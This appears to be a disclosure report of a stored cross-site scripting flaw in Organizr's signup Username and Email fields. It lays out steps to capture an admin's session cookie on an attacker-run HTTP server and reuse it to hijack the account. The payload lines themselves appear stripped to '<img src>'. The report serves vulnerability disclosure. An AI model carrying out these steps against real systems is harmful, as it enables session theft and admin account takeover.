Description

The application Organizr allows malicious javascript in the “Username” & “Email” input fields for which an attacker can able to take over the account of Admin & Co-admin users.

Proof of Concept

1.During “Signup” put the below payloads in the “Username” & “Email” input fields.

<img src>

<img src>

2.Now run the attacker server by command: python3 -m http.server 3333

3.Then login with admin user and go to “Settings” -> “User Management”

4.Now xss will trigger, after that check attacker server you will see the admin session cookie

5.Copy the cookie and open inspect element from attacker account and replace the cookie of attacker with admin and reload the page

6.Then admin account will open.

PoC Video:

https://drive.google.com/file/d/10mcWCpsTO95xuDIMcd4MAEJPE5_2OM7A/view?usp=sharing